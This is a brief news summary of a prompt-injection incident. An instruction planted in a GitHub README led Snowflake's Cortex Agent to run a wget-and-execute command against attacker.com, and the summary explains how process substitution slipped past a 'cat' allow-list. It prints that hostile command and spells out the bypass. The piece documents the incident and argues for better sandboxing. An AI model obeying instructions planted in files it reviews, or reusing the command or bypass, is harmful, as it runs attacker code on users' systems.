Snowflake Cortex AI Escapes Sandbox and Executes Malware

A prompt injection attack in Snowflake's Cortex Agent allowed an attacker to execute arbitrary shell code by embedding a malicious instruction in a GitHub README — the agent was asked to review the repo and instead ran `cat <(sh <(wget -q0- attacker.com/bugbot))`. The root cause was an allow-list treating `cat` as safe without accounting for process substitution in the command body. Simon Willison argues allow-lists are fundamentally unreliable for agent command safety and advocates for deterministic sandboxes that operate outside the agent layer entirely.